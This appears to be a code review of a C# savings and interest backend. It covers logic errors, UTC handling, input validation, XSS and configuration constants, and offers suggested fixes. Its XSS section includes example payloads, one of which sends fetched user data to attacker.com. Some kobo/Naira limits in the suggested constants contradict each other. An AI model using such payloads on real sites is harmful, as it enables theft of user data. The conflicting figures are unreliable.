if (savingsTransactionSummary != null || savingsTransactionSummary?.ResponseData?.Count > 0)This condition uses || (OR) instead of && (AND), which means it'll always be true when savingsTransactionSummary is not null, even if ResponseData is null or empty.
Why this is critical: This logic error means the code will execute even when there's no transaction data, potentially causing null reference exceptions or processing empty data sets.
How to Fix:
// WRONG (current code):
if (savingsTransactionSummary != null || savingsTransactionSummary?.ResponseData?.Count > 0)
// CORRECT:
if (savingsTransactionSummary != null && savingsTransactionSummary?.ResponseData?.Count > 0)Better approach with explicit null checking:
if (savingsTransactionSummary?.ResponseData != null &&
savingsTransactionSummary.ResponseData.Count > 0)if (isLocked && DateTime.Now <= savingsEndDate)This line uses DateTime.Now (local time) while everywhere else in the app uses DateTime.UtcNow. This inconsistency could lead to timezone-related bugs.
Why this matters: If your server runs in UTC but processes transactions for users in Lagos time, this could cause withdrawals to be blocked or allowed at the wrong times, especially during daylight saving changes.
Fix:
// Change this:
if (isLocked && DateTime.Now <= savingsEndDate)
// To this:
if (isLocked && DateTime.UtcNow <= savingsEndDate)Note: Make sure savingsEndDate is also stored in UTC in the database.
a.StartDate >= DateTime.UtcNow && a.EndDate >= DateTime.UtcNowThe condition a.StartDate >= DateTime.UtcNow only finds future savings accounts, not currently active ones. It should be a.StartDate <= DateTime.UtcNow to include accounts that have already started.
if (DateTime.UtcNow.Day != 1)
{
throw new ArgumentException("GetPendingAvailableCustomersForIntestPayouts can only be called on the first day of the month!!!");
}This prevents interest payouts if the service is down on the 1st of the month. A more flexible approach would allow payouts to run on any day and track the last payout date.
_ = Task.Run(async () =>
{
try
{
await _interestRepository.CheckInterestViabilityViaWithdrawalLimit(savingsAccount);
}
catch (Exception ex)
{
_logger.LogError(ex, $"An error occured while processing...");
}
});This fire-and-forget task doesn't participate in the transaction scope and could fail silently, leaving the system in an inconsistent state.
decimal dailyInterestRate = (savings.SavingsCategory.InterestRate / 100) / 365;
decimal dailyInterest = currentAcctBalance.Data.AvailableBalance * dailyInterestRate;
dailyInterest = Math.Ceiling(dailyInterest);A couple of issues here: the calculation always divides by 365 days, not accounting for leap years (366 days), and it creates unnecessary database records for accounts with zero balance.
public bool IsFundingValid()
{
if(Amount <= 0) return false;
return true;
}This validation is pretty bare-bones - it only checks if the amount is positive but ignores several other important validations:
SavingsId property isn't validated - it could be null, empty, or have invalid formatHow to Fix:
public bool IsFundingValid()
{
// Validate SavingsId is not null or empty and has correct format
if (string.IsNullOrWhiteSpace(SavingsId)) return false;
if (SavingsId.Length != 12) return false; // Assuming 12-character SavingsId
// Validate amount is positive
if (Amount <= 0) return false;
// Validate maximum funding amount (e.g., 100M Naira = 10B kobo)
if (Amount > 10_000_000_000m) return false;
// Validate minimum funding amount (e.g., 1 Naira = 100 kobo)
if (Amount < 100m) return false;
return true;
}public bool IsWithdrawalValid()
{
if (Amount <= 0) return false;
return true;
}Issues:
SavingsId property is not validated - it could be null, empty, or have invalid formatHow to Fix:
public bool IsWithdrawalValid()
{
// Validate SavingsId is not null or empty and has correct format
if (string.IsNullOrWhiteSpace(SavingsId)) return false;
if (SavingsId.Length != 12) return false; // Assuming 12-character SavingsId
// Validate amount is positive
if (Amount <= 0) return false;
// Validate minimum withdrawal amount (e.g., 100 Naira = 10,000 kobo)
if (Amount < 10_000m) return false;
// Validate maximum withdrawal amount (e.g., 1M Naira = 100M kobo)
if (Amount > 100_000_000m) return false;
return true;
}Issues:
What "No HTML/script injection protection" means:
Input fields like AccountName, Narration, Description, and Name (for savings categories/plans) accept any text without sanitization. This creates Cross-Site Scripting (XSS) vulnerabilities.
Vulnerable Fields in Your System:
CreateSavingsDto.AccountName - Savings account namesCreateSavingsDto.Narration - Transaction descriptionsCreateSavingsCategoryDto.Name - Category namesCreatePlanDto.Name - Plan namesTransactionRequest.Narration - Transaction narrationsTransactionRequest.Description - Transaction descriptionsExample Attack Scenarios:
// Malicious input in AccountName field:
AccountName: "<script>alert('XSS Attack!')</script>"
// Malicious input in Narration field:
Narration: "<img src='x' onerror='fetch(\"/api/user-data\").then(r=>r.json()).then(d=>fetch(\"http://attacker.com/steal?data=\"+btoa(JSON.stringify(d))))'>"
// HTML injection in Category Name:
Name: "<div onclick='maliciousFunction()'>Legitimate Category Name</div>"Potential Impact:
How to Fix:
using System.ComponentModel.DataAnnotations;
public class CreateSavingsDto
{
[Required]
[StringLength(100, MinimumLength = 2)]
[RegularExpression(@"^[a-zA-Z0-9\s\-_]+$", ErrorMessage = "Only letters, numbers, spaces, hyphens and underscores allowed")]
public string AccountName { get; set; }
[StringLength(500)]
[RegularExpression(@"^[a-zA-Z0-9\s\-_.,!?]+$", ErrorMessage = "Contains invalid characters")]
public string Narration { get; set; }
}public static class InputSanitizer
{
public static string SanitizeInput(string input)
{
if (string.IsNullOrWhiteSpace(input)) return input;
// Remove HTML tags
input = Regex.Replace(input, "<.*?>", string.Empty);
// Encode HTML entities
input = System.Net.WebUtility.HtmlEncode(input);
// Remove script-related content
input = Regex.Replace(input, @"(javascript:|vbscript:|onload|onerror|onclick)", "", RegexOptions.IgnoreCase);
return input.Trim();
}
}public bool IsSavingsValid()
{
// Existing validation
if (string.IsNullOrEmpty(AccountName)) return false;
// Sanitize inputs
AccountName = InputSanitizer.SanitizeInput(AccountName);
Narration = InputSanitizer.SanitizeInput(Narration);
// Validate sanitized inputs aren't empty
if (string.IsNullOrWhiteSpace(AccountName)) return false;
return true;
}// Install: Microsoft.Security.Application.AntiXssLibrary
// Or use: HtmlSanitizer NuGet package
using Microsoft.Security.Application;
public static string SanitizeHtml(string input)
{
return Encoder.HtmlEncode(input);
}var customer = _httpContextAccessor.HttpContext?.User?.Claims;This could return null, but the subsequent code assumes it's valid without checking.
if(FundingType != FundingType.None && TransactionType != TransactionType.Credit) return false;Issue: Incomplete validation logic - doesn't validate all transaction type combinations.
What's Missing in the Validation:
The current validation only checks one rule: "If FundingType is not None, then TransactionType must be Credit". But it doesn't validate other important business rule combinations.
Current Enum Values:
Missing Validation Rules:
Invalid Combinations That Should Be Caught:
// Invalid: Withdrawal with Credit (should be Debit)
TransactionForm = TransactionForm.Withdrawal, TransactionType = TransactionType.Credit
// Invalid: Funding with Debit (should be Credit)
TransactionForm = TransactionForm.Funding, TransactionType = TransactionType.Debit
// Invalid: InterestPayout with Debit (should be Credit)
TransactionForm = TransactionForm.InterestPayout, TransactionType = TransactionType.Debit
// Invalid: Manual funding type with Withdrawal form
FundingType = FundingType.Manual, TransactionForm = TransactionForm.Withdrawal
// Invalid: None funding type with Funding form
FundingType = FundingType.None, TransactionForm = TransactionForm.FundingHow to Fix - Complete Validation Logic:
public bool IsValid()
{
// Basic validation
if (string.IsNullOrEmpty(SavingsId) || string.IsNullOrEmpty(TransactionId) ||
Amount <= 0 || string.IsNullOrEmpty(Narration)) return false;
// Fees should not be negative
if (Fees < 0) return false;
// Validate TransactionForm vs TransactionType combinations
switch (TransactionForm)
{
case TransactionForm.Funding:
if (TransactionType != TransactionType.Credit) return false;
break;
case TransactionForm.Withdrawal:
if (TransactionType != TransactionType.Debit) return false;
break;
case TransactionForm.InterestPayout:
if (TransactionType != TransactionType.Credit) return false;
break;
}
// Validate FundingType vs TransactionForm combinations
switch (FundingType)
{
case FundingType.None:
if (TransactionForm == TransactionForm.Funding) return false;
break;
case FundingType.Manual:
case FundingType.Recurring:
case FundingType.SaveAsYouCollect:
if (TransactionForm != TransactionForm.Funding) return false;
break;
}
// Validate status transitions (optional but recommended)
if (Status == TransactionStatus.Completed && Amount <= 0) return false;
return true;
}Valid Combinations Examples:
// Valid: Manual funding
FundingType = Manual, TransactionForm = Funding, TransactionType = Credit
// Valid: Withdrawal
FundingType = None, TransactionForm = Withdrawal, TransactionType = Debit
// Valid: Interest payout
FundingType = None, TransactionForm = InterestPayout, TransactionType = Credit
// Valid: Recurring deposit
FundingType = Recurring, TransactionForm = Funding, TransactionType = CreditSome methods return generic error messages while others return specific ones, leading to an inconsistent user experience.
There's no validation to check if a savings account is active, expired, or in a valid state before allowing operations on it.
if (StartDate < DateTime.UtcNow || EndDate <= StartDate) return false;Issues:
How to Fix:
public bool IsSavingsValid()
{
// Existing validation
if (StartDate < DateTime.UtcNow || EndDate <= StartDate) return false;
// Add maximum duration validation (e.g., 10 years)
if ((EndDate - StartDate).TotalDays > 365 * 10) return false;
// Add minimum duration validation (e.g., 1 day)
if ((EndDate - StartDate).TotalDays < 1) return false;
// Add maximum target amount validation (e.g., 1B Naira = 100B kobo)
if (TargetAmount > 100_000_000_000m) return false;
// Add minimum target amount validation (e.g., 1000 Naira = 100K kobo)
if (TargetAmount < 100_000m) return false;
return true;
}Issue: When DeductionType is percentage, there's no validation that the percentage is between 0-100.
How to Fix:
public bool IsDeductionValid()
{
if (DeductionType == DeductionType.Percentage)
{
// Validate percentage is between 0.01% and 100%
if (DeductionAmount < 0.01m || DeductionAmount > 100m) return false;
}
else if (DeductionType == DeductionType.FixedAmount)
{
// Validate fixed amount is positive and reasonable
if (DeductionAmount <= 0) return false;
// Validate maximum deduction amount (e.g., 10M Naira = 1B kobo)
if (DeductionAmount > 1_000_000_000m) return false;
}
return true;
}Example scenarios this prevents:
Issue: No validation to prevent creating multiple savings accounts with the same name for the same customer.
Issue: Interest calculation queries don't use database transactions, potentially leading to inconsistent state if multiple processes run simultaneously.
Issue: Soft delete is configured but not consistently implemented across all entities.
((BaseModel)entry.Entity).DeletedBy = "";//get the current userIssue: Hard-coded empty string instead of actual user information.
Issue: System calculates and stores interest records for accounts with zero balance.
Issue: No handling for operations attempted on expired savings accounts.
Amount = (long)interestTrx.Amount,Issue: Casting decimal to long could cause precision loss.
Issue: Processes all eligible accounts in memory without considering memory constraints for large datasets.
private const int PAGE_SIZE = 10000;Issue: Very large page size could cause memory issues and slow queries.
Issue: No evidence of proper indexing strategy for frequently queried fields like SavingsId, CustomerId, TransactionDate.
Issue: Some queries load unnecessary navigation properties, causing performance overhead.
Issues:
#E0F1F6 hard-codedRecommendations:
public static class SavingsConstants
{
public const string DEFAULT_SAVINGS_PLAN_COLOR = "#E0F1F6";
public const int SAVINGS_ID_GENERATION_MAX_RETRIES = 10;
public const int INTEREST_CALCULATION_PAGE_SIZE = 10000;
public const int SAVINGS_ID_LENGTH = 12;
public const int TRANSACTION_ID_ALPHANUMERIC_LENGTH = 17;
}{
"SavingsSettings": {
"DefaultPlanColor": "#E0F1F6",
"SavingsIdGenerationMaxRetries": 10,
"InterestCalculationPageSize": 10000,
"SavingsIdLength": 12,
"TransactionIdLength": 17
}
}public class SavingsSettings
{
public string DefaultPlanColor { get; set; } = "#E0F1F6";
public int SavingsIdGenerationMaxRetries { get; set; } = 10;
public int InterestCalculationPageSize { get; set; } = 10000;
public int SavingsIdLength { get; set; } = 12;
public int TransactionIdLength { get; set; } = 17;
}public static class BusinessRules
{
public const decimal MAX_WITHDRAWAL_AMOUNT = 10_000_000m; // 100M Naira in kobo
public const decimal MIN_WITHDRAWAL_AMOUNT = 100m; // 1 Naira in kobo
public const int MAX_SAVINGS_DURATION_YEARS = 10;
public const int MAX_DAILY_WITHDRAWALS = 5;
public const decimal MAX_PERCENTAGE_DEDUCTION = 100m;
public const decimal MIN_PERCENTAGE_DEDUCTION = 0.01m;
}For values that might differ between environments:
{
"SavingsSettings": {
"InterestCalculationPageSize": 1000, // Smaller in dev/test
"SavingsIdGenerationMaxRetries": 3 // Fewer retries in test
}
}Benefits:
Implementation Priority:
Issue: Mix of different null checking patterns throughout the codebase.
Issue: No validation of configuration values on application startup.
Some endpoints have incomplete or missing Swagger documentation, which makes it harder for other developers to understand the API.
There's no centralized documentation explaining what different error codes mean, making debugging more difficult.